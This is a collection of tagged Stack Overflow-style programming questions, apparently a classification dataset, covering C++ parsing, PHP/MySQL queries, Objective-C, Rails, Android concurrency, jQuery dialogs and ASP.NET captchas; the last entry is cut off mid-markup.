easiest way to read in fields from a line  i m working on reading in lines from a file. each line follows this exact format  with a <code>|</code> delimiter:   <pre><code>4|get shorty (1995)|01-jan-1995||http://us.imdb.com/m/title-exact get%20shorty%20(1995)|0|1|0|0|0|1|0|0|1|0|0|0|0|0|0|0|0|0|0 </code></pre>   i m using <code>ifstream</code> and <code>getline</code> to grab each line from the file. what would be the best way to grab all fields on a single line with n delimiters  can this be done with string streams  i can rig something up using <code>find</code> and <code>substr</code>  but it would get ugly pretty fast  and i don t think it would be able to take into account a line with a variable n amount of delimiters.,c++
displaying array values in a table  i want to display values from an array in a table  i tried searching and none of it works  here is the snippet   <pre><code>$host= localhost ; $username= root ; $password=  ; $db_name= sampledb ; $tbl_name= tblsched ; $cd1 = date( y-m-d ); mysql_connect( $host    $username    $password )or die( cannot connect );  mysql_select_db( $db_name )or die( cannot select db );  $sql =  select * from tblteacher where teachername= $uname  ; $result=mysql_query($sql); $row = mysql_fetch_assoc($result);  $teacherid  = $row[ teacherid ];  function mymainfunc() { global $uname; global $teacherid; $bgcolor= #addfff ; $tdali= center ; dateto(); datefrom(); $arrayto[] = array(); $arrayfrom[] = array(); $arrayto[] = dateto(); $arrayfrom[] = datefrom(); $x=0; while($x&lt;count($arrayto[])) { echo  &lt;tr&gt; ; echo  &lt;td align=$tdali bgcolor=$bgcolor&gt;$arrayfrom[$x] - $arrayto[$x]&lt;/td&gt; ; echo  &lt;td align=$tdali&gt; &lt;/td&gt; ; echo  &lt;td align=$tdali&gt; &lt;/td&gt; ; echo  &lt;td align=$tdali&gt; &lt;/td&gt; ; echo  &lt;td align=$tdali&gt; &lt;/td&gt; ; echo  &lt;td align=$tdali&gt; &lt;/td&gt; ; echo  &lt;td align=$tdali&gt; &lt;/td&gt; ; echo  &lt;td align=$tdali&gt; &lt;/td&gt; ;  echo  &lt;/tr&gt; ;  $x++; } } function dateto() { global $uname; global $cd1; global $teacherid; $sql= select schedtimeto from tblsched where schedteacherid=$teacherid and scheddatefrom&lt;= $cd1  and scheddateto&gt;= $cd1   ; $result=mysql_query($sql);  if($result === false) { die(mysql_error()); }  $count=mysql_num_rows($result); $row = mysql_fetch_array($result);  $stf = array(); while($row=mysql_fetch_array($result))   {   $stf[] = $row; }  return $stf; }  function datefrom() { global $uname; global $cd1; global $teacherid; $sql= select schedtimefrom from tblsched where schedteacherid=$teacherid and scheddatefrom&lt;= $cd1  and scheddateto&gt;= $cd1   ; $result=mysql_query($sql);  if($result === false) { die(mysql_error()); }  $row = mysql_fetch_array($result);  $stf = array(); while($row=mysql_fetch_array($result))   {   $stf[] = $row;   }  return $stf; } </code></pre>   any suggestion on how can i display each array value in a different cell  every cell will contain different values from the array,php
how to remove image for iphone <pre><code>- (void)touchesbegan:(nsset *)touches withevent:(uievent *)event {     if ([[touch view] tag] == 1000)      {         tap=yes;         nslog(@ tap );         //[yourbutton setshowstouchwhenhighlighted:yes];         if(tap)         {             cgrect myimagerect = cgrectmake(p.x-113  p.y-113  224.0f  195.0f);             myimagea = [[uiimageview alloc] initwithframe:myimagerect];             [myimagea setimage:[uiimage imagenamed:@ enjoy sunburst.png ]];             myimagea.opaque = yes; // explicitly opaque for performance             [self.view addsubview:myimagea];             [myimagea release];                          }         [piemenu showinview:self.view atpoint:p];  }                    else {         nslog(@  no tap );          // i want to remove image when user is not tapping         //how to do that is myimagea.alpha=0 is the only options     } } </code></pre>,iphone
class issues: should i use everywhere self as class in objective c   wow  great issue i have found for myself.    what is it  the candy or the garlic     <strong>something about objective-c:</strong>    are there any issues not to use  self  in (+) - class methods as class     in the deep of a class...    <pre><code>+(nsdate*)datewithtimeinterval:(nstimeinterval)interval {     return [self datewithtimeintervalsince1970:interval]; } </code></pre>   <strong>ruby here:</strong> for example  in ruby everything is object and class is object of class class and there is a good practice to rely on self:   <pre><code>class dateclass       # self is dateclass here  inside of class definition  uh      self.datewithtimeinterval(interval)          self.datewithtimeintervalsince1970(interval)      end end </code></pre>   <strong>perl here:</strong> another example was found in perl oop deep: (thanks for <a href= http://www.perlmonks.org/ node_id=373638  rel= nofollow >this thread</a>)   <pre><code>sub new {     my $proto = shift || die  must pass a class or object into new() ;     my $class = ref($proto) || $proto;     bless {}  $class; } </code></pre>   so  in perl and in ruby guys always rely on <code>$class</code> refs    maybe example with perl code not obvious  but it happens all time. programmers rely on $class reference and take class name with it. also  they can invoke some methods with it:   <pre><code> my $class =  class ;     $class-&gt;new(); </code></pre>   or    <pre><code>    class::-&gt;new() </code></pre>   <strong>after all...</strong>    which pitfalls or caveats could you provide against usage self as class in objective-c,objective-c
what does | and << mean   sorry if this is a common question but i don t know what it s called so i m having trouble searching for it.    how does this work:   <pre><code>view.autoresizingmask = uiviewautoresizingflexiblewidth | uiviewautoresizingflexibleheight; </code></pre>   i understand that it means that the view gets both flexible width and height  but how does it store two variables like that     if i look at the typedef for uiviewautoresizing it looks like:   <pre><code>enum {     uiviewautoresizingnone                 = 0      uiviewautoresizingflexibleleftmargin   = 1 &lt;&lt; 0      uiviewautoresizingflexiblewidth        = 1 &lt;&lt; 1  ... </code></pre>   so  how can one variable store more than one value like this,objective-c
difference between varchar and varchar2 in sql  what is the difference between varchar and varchar2 in sql. please explain in detail with some good example.,sql
iphone is there a way to allow a user to rate the app from within it   i have seen some apps with a button to rate the app.  it brigs them to a page that always them to rate that app.    i can t figure out how to do this.  does anybody know how to do this  i fred googling it.,ios
select name of creator and editor from user table  how i can select name of creator and editor from <code>users</code> table  <code>creator</code> and <code>editor</code> are different ids in same table  but <code>user</code> table is different table,mysql
i can t get link_to for deleting to work in my app [ror]  i have tried to get this working with multiple different variations and it refuses to delete it. the box comes up asking me to confirm and when i do it takes me to the main show for that controller. i have tried link_to in multiple contexts for different controllers but none of them work. oddly enough i had it working for a while and i m not sure what i changed to cuase it to stop working again.   <pre><code>&lt;%= link_to  delete review   review  :method =&gt;  delete   :onclick =&gt;  return confirm( are you sure you want to delete this review  )  %&gt;  &lt;%= link_to  delete review    review   method: :delete  data: { confirm:  are you sure   } %&gt; </code></pre>   these are both of the ones i tried.,ruby-on-rails
why does it keep returning  null   <pre><code>import java.io.*; import java.util.*; public class firstio{     static bufferedreader comein;      public void readtextfile(){         try {         comein= new bufferedreader(new filereader( c:\users\hp\desktop\vocab.txt ));         } catch(ioexception ioe){             system.out.println( file not found );         }     }     public static void main(string[] args){          firstio l= new firstio();         system.out.println(comein);     }  } </code></pre>   why does it keep returning  null   this is my  object name :c:\users\hp\desktop\vocab.txt,java
link_to with :protocol isn t working  i want to have a link use ssl. i m using this code:   <pre><code>&lt;%= link_to  buy now!   line_items_path(:thing_id =&gt; @thing)  :method =&gt; :post  :protocol =&gt;  https   :only_path =&gt; false %&gt; </code></pre>   for some reason  the link is being generated with <code>http://</code> instead of <code>https://</code>.    i m using rails 3.0.3.,ruby-on-rails
move a selectednode up and down in treelist by clicking buttons  how to move selectednode up and down when click the up and down button. selectednode always visible in treelist control. so that treelist can scroll up and down.,c#
multi-view app is crashing  i have an app that has a tabbar controller and a navbar controller.  it has ~8 views (a variety of web  table  standard  mail  address etc.)  some created using ib some created using xcode to make the table views.  i ve ran the memory leak tester and it doesn t have memory leaks.  it can crash at anytime on any of the views  if i flip back and forth between views and use some of the functions it closes the app.    i assume that either i am running 1) out of memory or 2) not releasing views correctly  which causes the app to close.  the app is simple so i don t know how i could be out of memory and i ve reviewed the code to the best of my ability for releasing the objects correctly.    so here is my list of questions:    1) what and how to use some of the other debugging tools (or tell me what tools/files i should be looking for using)   i would like to narrow down the problem to its source.    2) what is the best practice for releasing these views  how     3) how much memory do normal apps use   is there a number that i should stay around   how do i verify that in the simulator   the allocation tool     feel free to point me to apple docs or other stackoverflow questions that can help me.    update:  it appears to only be crashing one view is used  which has a table view with custom cells...  the cell are populated from a plist file...  this view worked fine a few days ago  i notice that some cells do not have data from the plist file... it could be a plist file problem with not storing proper data.  i ll continue to work on it.    update #2:  i went back to older rev of my files  to when this particular tableview worked just fine (pre 3.0) and guess what it works just fine  i change the simulator to 3.0 with this rev of the app and bam crash on this tableview shows up.  thanks for the help so far  i ll try somethings mentioned below and let you know what i find.  if you have some tips on why a tableview w/custom cells from 2.2.1 to 3.0 would start crashing  i ll take them.  if i can t get anywhere i ll post the code soon.  btw  i mis-spoke above  i thought it wasn t crashing in the simulator... i was wrong it is.    solution:  thanks for the troubleshooting tips the fix was quite simple  but it s odd it didn t crash in 2.2.1... it should have crashed a long time ago for the problem  i was releasing an object one to many times in my custom cell... duh.,iphone
mysql query select x where x.y not in (subquery) not working  mysql> with 2 extra rows(86321 and 28034) in profile_zipcodes why is my third query not finding them     <pre><code>select zipcode from profile_zipcodes; +---------+ | zipcode | +---------+ | 01971   | | 02110   | | 02119   | | 02124   | | 02180   | | 07086   | | 07087   | | 10008   | | 10019   | | 10021   | | 10022   | | 10024   | | 10025   | | 10095   | | 10098   | | 10099   | | 10110   | | 10112   | | 10118   | | 10131   | | 10152   | | 10157   | | 10158   | | 10159   | | 10160   | | 10161   | | 10162   | | 10166   | | 10174   | | 28034   | | 33306   | | 33319   | | 50301   | | 62334   | | 63031   | | 63131   | | 63138   | | 63141   | | 63366   | | 63376   | | 67002   | | 86321   | +---------+ 42 rows in set </code></pre>   mysql>    <pre><code>select distinct zip from profile_stats; +-------+ | zip   | +-------+ | null  | | 01971 | | 02110 | | 02124 | | 02180 | | 07086 | | 07087 | | 10008 | | 10019 | | 10021 | | 10022 | | 10024 | | 10025 | | 10095 | | 10098 | | 10099 | | 10110 | | 10112 | | 10118 | | 10131 | | 10152 | | 10157 | | 10158 | | 10159 | | 10160 | | 10161 | | 10162 | | 10166 | | 10174 | | 33306 | | 33319 | | 50301 | | 62334 | | 63031 | | 63131 | | 63138 | | 63141 | | 63366 | | 63376 | | 67002 | +-------+ 40 rows in set (0.00 sec) </code></pre>   mysql>    <pre><code>select * from profile_zipcodes where profile_zipcodes.zipcode not in  (select distinct zip from profile_stats); empty set (0.00 sec) </code></pre>   my php code actually runs this query:   <pre><code>delete from profile_zipcodes where profile_zipcodes.zipcode not in (select distinct zip from profile_stats) </code></pre>   whenever a user changes their zip code or deletes their profile  and it was working fine  then suddenly i started noticing that zip codes with no profiles attached were remaining in the dynamically updated pull down box and debugging showed the query was still being run but the old zips were remaining and testing showed that an identically worded select wasn t finding the orphan zips - it did work for a while  then it stopped,mysql
import html without using php   is there a way to import a block of html into a file without the use of something like php or javascript  for my personal website  any time i make a small change to the content of my navbar  i have to go to all of my other pages and make that same change.,html
after click js print button another button not working  when i click a js print button and back then another button not working.     after refresh all working fine.   <pre><code>function printdiv(divname) {     var printcontents = document.getelementbyid(divname).innerhtml;     var originalcontents = document.body.innerhtml;     document.body.innerhtml = printcontents;     window.print();     document.body.innerhtml = originalcontents;  } </code></pre>,javascript
freeing memory allocated by assignment operator c++  i was going through this post <a href= https://stackoverflow.com/questions/6722643/why-do-we-need-to-delete-allocated-memory-in-c-assignment-operator >why do we need to delete allocated memory in c++ assignment operator </a> and i had a question about the memory allocated by new operation inside the assignment operator. how will it be freed after we assign to a  mystring object testobject  will the destructor for the testobject be called when it goes out of scope or i will have to call delete explicitly to free that memory    <pre><code>const mystring&amp; operator=(const mystring&amp; rhs) {      if (this != &amp;rhs) {         delete[] this-&gt;str; // why is this required          this-&gt;str = new char[strlen(rhs.str) + 1]; // allocate new memory         strcpy(this-&gt;str  rhs.str); // copy characters         this-&gt;length = rhs.length; // copy length     }     return *this; // return self-reference so cascaded assignment works } </code></pre>,c++
warning mysql_fetch_assoc () expects parameter 1 to be mysqli_result boolean given in <pre><code>require( includes/database.php ); $db = new database(); echo  &lt;table border = 1 width=100%&gt; &lt;tr&gt; &lt;th&gt; id &lt;/th&gt; &lt;th&gt; login id &lt;/th&gt; &lt;/tr&gt; ;   $result = $db-&gt;select( test   * ); foreach($result as $row) {         /*$id = $row[ sid ];         $fname = $row[first_name];         $lname = $row[last_name];         $pwd = $row[password];         $email= $row[email];*/                        echo  &lt;tr&gt; ;         echo  &lt;td align= center &gt; . $row[ id ] . &lt;/td&gt; ;         echo  &lt;td align= center &gt; . $row[ name ] . &lt;/td&gt; ;         echo  &lt;/tr&gt;&lt;br&gt; ; } </code></pre>   the above code is giving me the warning  warning mysql_fetch_assoc () expects parameter 1 to be mysqli_result boolean given in  but if i replace the table to  system_user  in select statement it works fine with me. please advice!,mysql
including file from main domain on subdomain  i used to include files between sites routinely  until my webhost banned the practice. now it appears that a recent php upgrade also tightened the screws  as i m getting a  no suitable wrapper could be found  error - and i m working with local sites.    let s start with a website @ www.gx.com and a subdomain at subdomain.mysite.com. however  they display locally as two separate websites - mysite.com and subdomain.com.    a page on subdomain.com features the following include request:   <pre><code>require_once($gx_url. /2b/inc/d/shared/body/bottom/footer.php </code></pre>   $gx_url displays as http[://]gx locally and http[://]gx.com online.    how can i modify this include so it works in both situations  i can use the following switch to hold two separate includes  one for online use and the other for local use:   <pre><code>switch(php_os) {  case  linux :  break;  default:  break; } </code></pre>   i just figured the answer to my first question; i simply mapped out the entire path to the file in the other website on my computer:                                   /applications/mamp/htdocs/gx/2b/inc/d/shared/body/bottom/footer.php    so i guess i need to do something similar to include a file from my main domain. however  i ll leave this question open in case anyone has a more elegant solution.,php
its about what to do if you didn t install sublime when using ruby on rails tutorial  i did not install sublime. i m at the point in the ruby on rails tutorial by hartl where he has you set up a branch for the first time. so i can t figure out what to do where his instructions are $ git mv readme.rdoc readme.md $ subl readme.md    should i create a file like the one in his book and then replace the original readme.rdoc document and skip these commands  should i create the new readme.md file and put it in the main project folder but keep leave the old file there  if i do one of these can i then just continue with the rest of the commands after these  should i do one of the above and then run just the first command above  the book doesn t seem to give a clue really about what is necessary here. it doesn t even actually tell you to create the new file. honestly i m lost here.    the only thing i think i understand is that the first command above renames the old file. if that is true then can i just run that command and then edit the original file in a text editor. would i then skip the second command. could i then continue with the rest of the commands.    by the way i working on a laptop running windows 7.,ruby-on-rails
searching for an entry in a mysql table  i have a mysql table called members with 2 columns as follows:   <pre><code>username john sam  colleges_i_like  yale     stanford    columbia   princeton    cornell  </code></pre>   i would like to create a php query that allows me to select users who like a certain college ($college).     i wrote this code but it is not working (i am new to php  this is the first line of code i am writing).  can you please help me correct it    <pre><code>$college= yale ; $result =  select * from members where $college in  colleges_i_like  ; </code></pre>,php
difference between viewend and textend in android:textalignment  i was going through documentation of <code>android:textalignment</code> and it has 7 options few of those are <code>viewend/viewstart</code> and <code>textend/textstart</code>    i could not understand what is difference in <code>view####</code> vs <code>text####</code> using docs from the pov of use cases.if anyone can clarify that in more detail using some examples or use cases,android
android concurrency collections  i am working on an app that has running many async tasks that bring data from server and approx 20 async task are running at a time and there are some threads which validate the data simulatenously.    i have made data models which update my collections in which data is being stored.  the structure to save data resides on hashmap that contains an arraylist    so my question is   <ol> <li>is android context threadsafe</li> <li>are hashmaps in android threadsafe</li> </ol>   i am using a handler to communicate messages so in this case handler has a message queue is that threadsafe.    because sometimes one out of 10 times my app crashes giving     this is just one logcat in this case it happens while iterating  there are cases in which one task is reading hashmap and other is updating it this is the case in which mostly app crashes.   <blockquote> <pre><code> 07-28 15:36:59.815: error/androidruntime(4026): fatal exception: main 07-28 15:36:59.815: error/androidruntime(4026): java.util.concurrentmodificationexception 07-28 15:36:59.815: error/androidruntime(4026):     at java.util.arraylist$arraylistiterator.next(arraylist.java:573) 07-28 15:36:59.815: error/androidruntime(4026):     at com.juggle2.panel.ontouchevent(panel.java:823) 07-28 15:36:59.815: error/androidruntime(4026):     at android.view.view.dispatchtouchevent(view.java:3766) 07-28 15:36:59.815: error/androidruntime(4026):     at android.view.viewgroup.dispatchtouchevent(viewgroup.java:863) 07-28 15:36:59.815: error/androidruntime(4026):     at android.view.viewgroup.dispatchtouchevent(viewgroup.java:863) 07-28 15:36:59.815: error/androidruntime(4026):     at com.android.internal.policy.impl.phonewindow$decorview.superdispatchtouchevent(phonewindow.java:1767) 07-28 15:36:59.815: error/androidruntime(4026):     at com.android.internal.policy.impl.phonewindow.superdispatchtouchevent(phonewindow.java:1119) 07-28 15:36:59.815: error/androidruntime(4026):     at android.app.activity.dispatchtouchevent(activity.java:2086) 07-28 15:36:59.815: error/androidruntime(4026):     at com.android.internal.policy.impl.phonewindow$decorview.dispatchtouchevent(phonewindow.java:1751) 07-28 15:36:59.815: error/androidruntime(4026):     at android.view.viewroot.handlemessage(viewroot.java:1785) 07-28 15:36:59.815: error/androidruntime(4026):     at android.os.handler.dispatchmessage(handler.java:99) 07-28 15:36:59.815: error/androidruntime(4026):     at android.os.looper.loop(looper.java:123) 07-28 15:36:59.815: error/androidruntime(4026):     at android.app.activitythread.main(activitythread.java:4627) 07-28 15:36:59.815: error/androidruntime(4026):     at java.lang.reflect.method.invokenative(native method) 07-28 15:36:59.815: error/androidruntime(4026):     at java.lang.reflect.method.invoke(method.java:521) 07-28 15:36:59.815: error/androidruntime(4026):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:893) 07-28 15:36:59.815: error/androidruntime(4026):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:651) 07-28 15:36:59.815: error/androidruntime(4026):     at dalvik.system.nativestart.main(native method) </code></pre> </blockquote>   which is clear indication that when async tasks and threads are trying to update arraylist / hashmaps they give this concurrency exception.,android
how to run a function on server-side on a button click event which won t affect postback of page (asp.net)   i have a button-click event on my code-behind which uploads some data from an excel sheet to database. this upload triggers another function which does some maintenance activities over the uploaded data on the database.   <pre><code>protected void btnupload_click(object sender  eventargs e) {     //some excel upload code     recon.start(); //maintanance task. takes atleast 20s to execute. } </code></pre>   now the problem is until this <code>recon.start()</code> function completes  the postback doesn t happen and the page keeps loading on client-side. i want to make the page-load independent of this last function i.e. <code>recon.start()</code>    can you tell me the possible ways     <strong>update :</strong>    after some research  i found that an <code>windows service</code> could do the job more efficiently. i need to isolate and separate the <code>recon.start()</code> code as an windows service and need to call or trigger this from my <code>button_click</code> event.,asp.net
find distance using local measurementsystem in iphone  i am using the following method to find the distance with measurementsystem. can any one confirm whether it correct way to proceed.   <pre><code>- (nsstring *)textfordistance:(cllocationdistance)meters {     nsstring *measuresystem = [[nslocale currentlocale] objectforkey:nslocalemeasurementsystem];     bool ismetric = ![measuresystem isequaltostring:@ u.s. ];      nsstring *distancestring;      if (!ismetric) {         cgfloat feet = meters / meters_per_foot;         if (feet * 2 &gt; feet_per_mile) {             distancestring = [nsstring stringwithformat:@ %.1f miles   (feet / feet_per_mile)];         } else {             distancestring = [nsstring stringwithformat:@ %.0f feet  feet];         }     } else {         if (meters &gt; 1000) {             distancestring = [nsstring stringwithformat:@ %.1f km   (meters / 1000)];         } else {             distancestring = [nsstring stringwithformat:@ %.0f meters   meters];         }     }      return distancestring; } </code></pre>,iphone
viewcontroller may not respond to method  problem  i know it is a common problem  i googled a lot and seems get no luck to solve my problem. i have a @interface testviewcontroller:uiviewcontroller  and in its implementation file i have a method defined:   <pre><code>-(void)method1 {   do something;    [self method1];//here i need to call the method itself if a statement is true and this line is where the warning testviewcontroller may not respond to method1  i got }  -(void)method2{   [self method1] //but there is no problem with this line } </code></pre>   can anyone help me  thanks in advance!,objective-c
why aren t my arcs drawing on 64 bit ios devices   i have code that uses the core foundation function cgpathaddarc() to create arcs (a.k.a. semicircles). in some cases the arcs don t draw when the code is run on 64 bit os devices (ipad air and air 2  iphone 5s  iphone 6  etc)  but they do draw on 32 bit devices.     the code looks something like this:   <pre><code>cgpathaddarc(path               nil               cgrectgetmidx(bounds)               cgrectgetmidy(bounds)               min(bounds.size.width/2  bounds.size.height/2)               3*m_pi_2               -m_pi_2               _drawarcclockwise              ); </code></pre>   in that example  the arc draws if <code>_drawarcclockwise</code> is true  but doesn t draw anything if <code>_drawarcclockwise</code> is <code>false</code>.    i ve also tested the equivalent uibezierpath function  and it gives the same results.    you can see an example project that shows this problem on github in the repo called <a href= https://github.com/duncanmc/arctest  rel= nofollow ><strong>arctest</strong></a> (link),ios
how can i get the font size and font name of a uilabel   i have a uilabel which i set a font size and a font name with interface builder.  now i have to read the values of both in my viewcontroller.    how can i do this,ios
can i use system.configuration for working with particular config file   if title is not clear: i want to read to and to write from some specific <code>.xml</code> configuration file. is it possible with <code>system.configuration</code>,.net
jquery dynamically loaded dialog not closing  i have encountered one issue and not sure about its origin. i have the following dialog with dynamically loaded content:   <pre><code>$(function(){        $( .dialog_link_check_interval ).click(function(){                   var link = this;          var link_id = link.id.split( - );         link_id = link_id[1];          $( #dialog_check_interval ).dialog({             autoopen: false              width: 650              modal: true              buttons: {                  ok : function() {                                           var check_interval_new = $( #check_interval_new ).val();                      $.ajax({                         url:  file.php                           type:  get                           data:  property_id=  + link_id +  &amp;check_interval=  + check_interval_new                      });                      $(this).dialog( close );                 }             }         });          $( #dialog_check_interval ).load( dialog_generator.php link_id=  + link_id).dialog( open );      });      }); </code></pre>   and html   <pre><code>&lt;div id= dialog_check_interval  title= check interval  style= display: none; &gt;&lt;/div&gt;     &lt;div id= check_interval-123  class= dialog_link_check_interval &gt;    &lt;a href= #  style= border:0 &gt;dialog link&lt;/a&gt; &lt;/div&gt; </code></pre>   in dynamically loaded dialog_generator.php there is text input with id=check_interval_new. i have found that if check_interval_new is deleted from javascript  then the dialog is closing as expected. however  when there is check_interval_new  the dialog is not closing (but the value is correctly retrieved from dialog_generator.php as i have found with the alert function) upon clicking on  ok  button (but closing with hitting esc or by clicking on x in the right top corner).    note that i have tried various other functions than <code>$(this).dialog( close );</code> to close dialog such as <code>$( #dialog_check_interval ).dialog( close );</code>.,jquery
how to make this transition more smooth   there s a theme on tumblr called optica (<a href= http://safe.txmblr.com/theme/preview/37310  rel= nofollow >http://safe.txmblr.com/theme/preview/37310</a>)  and i ve been trying to make something similar to the post footer on my theme. i ve been able to make this code so far: <a href= http://jsfiddle.net/zxaeu/  rel= nofollow >http://jsfiddle.net/zxaeu/</a> but the transition doesn t seem as smooth as the other one. what am i missing    <pre><code>#info     {margin-top:-40px;     opacity:1;     z-index:0;     -webkit-transition: opacity 0.35s cubic-bezier(0.860  0.000  0.070  1.000);     -o-transition: all 0.35s cubic-bezier(0.860  0.000  0.070  1.000);     -ms-transition: all 0.35s cubic-bezier(0.860  0.000  0.070  1.000);     -moz-transition: all 0.35s cubic-bezier(0.860  0.000  0.070  1.000);     transition: opacity 0.35s cubic-bezier(0.860  0.000  0.070  1.000);} </code></pre>,css
how can i input a text from a text file (c)  how can i input a text from a text file using fgets while using a 2d array for input    <pre><code>main(){      char text[1000][1000];     file *fptr;     char fname[100];     printf( input file name: );     scanf( %s  fname);     fptr=fopen(fname  w );     if(fptr==null){         printf( error in opening file );         exit(1);     }     else{     } } </code></pre>,c
strpos issue with 0==false   i m using strpos to find the position of a string in another string. i first check if the string is found at all in there. here s my line:   <pre><code>if (strpos($grafik[ data ] $ss1)&lt;&gt;false &amp;&amp; strpos($grafik[ data ] $ss2)&lt;&gt;false &amp;&amp; strpos($grafik[ data ] $ss1) &lt; strpos($grafik[ data ] $ss2)) </code></pre>   i check if both strings are contained and then i want the first one to be placed before the second one. in the php manual it says that strpos returns false when string is not found. however if my string starts at the zero position (strpos returns 0 since its the beginning)  it seems like this statement    <pre><code>strpos($grafik[ data ] $ss1)&lt;&gt;false </code></pre>   is false. somehow 0==false   how do i make the statement true when strpos returns 0,php
if select query returns null then return lastest entry from db in mysql  i have below query which return a result set for certain time interval  like 1 min  10min  1hour etc. [below is working e.g. for 10min.]   <pre><code>select memoryusage  transactiontime  moduleid from tbl_trnmemoryusage  where transactiontime between (now() - interval 10 minute ) and now()  order by transactiontime asc; </code></pre>   <strong>requirement</strong>    if above query does not return anything  that is no data in that time duration  then return last entry based  transactiontime  column   <pre><code>if above_query returns null then  select memoryusage  transactiontime  moduleid from tbl_trnmemoryusage order by transactiontime desc limit 1;  </code></pre>   <strong><a href= http://sqlfiddle.com/#!9/09dbd2/2  rel= nofollow >sqlfiddle</a></strong>,mysql
"checkbox to agree before login  it s my first time using html and would like to incorporate a checkbox that will enable or disable the  login  button if the user doesn t tick the checkbox to agree and enable the button when the box is tick.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;td&gt;
   &lt;input style= width: 80px  name= username  type= text  value= $(username)  /&gt;
 &lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
   &lt;td align= right  class= style6 &gt;password&lt;/td&gt;
   &lt;td&gt;
     &lt;input style= width: 80px  name= password  type= password  /&gt;
   &lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
   &lt;td&gt;&amp;nbsp;&lt;/td&gt;
   &lt;td&gt;
     &lt;input type= submit  name= submit  value= login  /&gt;
   &lt;/td&gt;
 &lt;/tr&gt;
 &lt;/table&gt;
 
 
 &lt;div class= notice  style= color: #c1c1c1; font-size: 12px &gt;
   &lt;br /&gt;
   &lt;input type= checkbox  name= checkbox  value= check  id= agree  /&gt;i agree to the statement above.
   &lt;br /&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",html
pointer to pointer null c  i have a question about a double pointer in c. for example:   <pre><code>int** point = malloc(sizeof(int**)); int* point2 = malloc(sizeof(int*)); *point2 = 5; *point = point2; free(point2); printf( %d   *point); </code></pre>   my question is  if i have a double pointer pointing to another pointer (point2) and i make a free on (point2)  the double pointer (point) is going to point to a memory address that has nothing. so i should do * point = null,c
sql: disjoint select to one table  good time.    say  there is a table that contains data about exam results:   <pre><code>                exam_results | id | exam_type | person_id | exam_result | </code></pre>   a student can try to pass the concrete exam multiple times  so it is possible for one student to have four rows in the above table: three for fail results and one for success. i need to select all students that have not passed the concrete type of exam yet.     please suggest  how to do it or where to read about such a trick.    <strong>edit</strong>: sample records:   <pre><code>| 1 | sda | 111 | fail | | 2 | sda | 111 | fail | | 3 | sda | 111 | passed | | 4 | sda | 222 | fail | | 4 | sda | 222 | fail | </code></pre>   according to the task the query must select only the 222 person cause he have not passed the sda exam (111 person eventually passed),sql
can i not use updatepanel of ajax on more than one control  i am having 4 captcha in my below table and when i am refreshing it then all the captcha are getting refreshed although i am applying updatepanel separately on all the captchas. can i not use update panel to work on more than one control separately    <pre><code>&lt;table class= style4 &gt;         &lt;asp:scriptmanager id= scriptmanager1  runat= server &gt;         &lt;/asp:scriptmanager&gt;         &lt;tr&gt;             &lt;td colspan= 3  class= style21 &gt;                 &lt;asp:image id= image1  runat= server  height= 174px  imageurl= ~/registration/images/registerwithus.jpg                      width= 605px  /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td class= style5 &gt;                 user&amp;nbsp; name             &lt;/td&gt;             &lt;td colspan= 2 &gt;                 &lt;asp:textbox id= textbox1  runat= server &gt;&lt;/asp:textbox&gt;                 &lt;asp:requiredfieldvalidator id= requiredfieldvalidator1  runat= server  controltovalidate= textbox1                      errormessage= please enter the correct name  forecolor= red &gt;&lt;/asp:requiredfieldvalidator&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td class= style5 &gt;                 choose password             &lt;/td&gt;             &lt;td colspan= 2 &gt;                 &lt;asp:textbox id= textbox2  runat= server &gt;&lt;/asp:textbox&gt;                 &lt;asp:requiredfieldvalidator id= requiredfieldvalidator2  runat= server  controltovalidate= textbox2                      errormessage= choose password  forecolor= red &gt;&lt;/asp:requiredfieldvalidator&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td class= style5 &gt;                 confirm password             &lt;/td&gt;             &lt;td class= style6  colspan= 2 &gt;                 &lt;asp:textbox id= textbox3  runat= server &gt;&lt;/asp:textbox&gt;                 &lt;asp:requiredfieldvalidator id= requiredfieldvalidator3  runat= server  controltovalidate= textbox3                      display= dynamic  errormessage= choose password  forecolor= red &gt;&lt;/asp:requiredfieldvalidator&gt;                 &lt;asp:comparevalidator id= comparevalidator1  runat= server  controltocompare= textbox2                      controltovalidate= textbox3  display= dynamic  errormessage= both the password fields do not match                      forecolor= #cc0000  setfocusonerror= true &gt;&lt;/asp:comparevalidator&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td class= style5 &gt;                 email id             &lt;/td&gt;             &lt;td class= style6  colspan= 2 &gt;                 &lt;asp:textbox id= textbox4  runat= server &gt;&lt;/asp:textbox&gt;                 &lt;asp:requiredfieldvalidator id= requiredfieldvalidator4  runat= server  controltovalidate= textbox4                      display= dynamic  errormessage= enter your emailid  forecolor= red &gt;&lt;/asp:requiredfieldvalidator&gt;                 &lt;asp:regularexpressionvalidator id= regularexpressionvalidator1  runat= server  controltovalidate= textbox4                      display= dynamic  errormessage= invalid email id  forecolor= red  validationexpression= \w+([-+. ]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)* &gt;&lt;/asp:regularexpressionvalidator&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;                 mob no             &lt;/td&gt;             &lt;td colspan= 2 &gt;                 &lt;asp:textbox id= textbox5  runat= server &gt;&lt;/asp:textbox&gt;                 &lt;asp:regularexpressionvalidator id= regularexpressionvalidator2  runat= server  errormessage= invalid mobile no.                      controltovalidate= textbox5  forecolor= red  validationexpression= ^[7-9][0-9]{9}$ &gt;&lt;/asp:regularexpressionvalidator&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td class= style5  rowspan= 2 &gt;                 captcha             &lt;/td&gt;             &lt;td class= style18 &gt;                 &lt;asp:label id= label2  runat= server  text= 1 &gt;&lt;/asp:label&gt;                 &lt;asp:updatepanel id= updatepanel2  runat= server &gt;                     &lt;contenttemplate&gt;                         &lt;cc1:captchacontrol id= captcha1  runat= server  captchabackgroundnoise= low  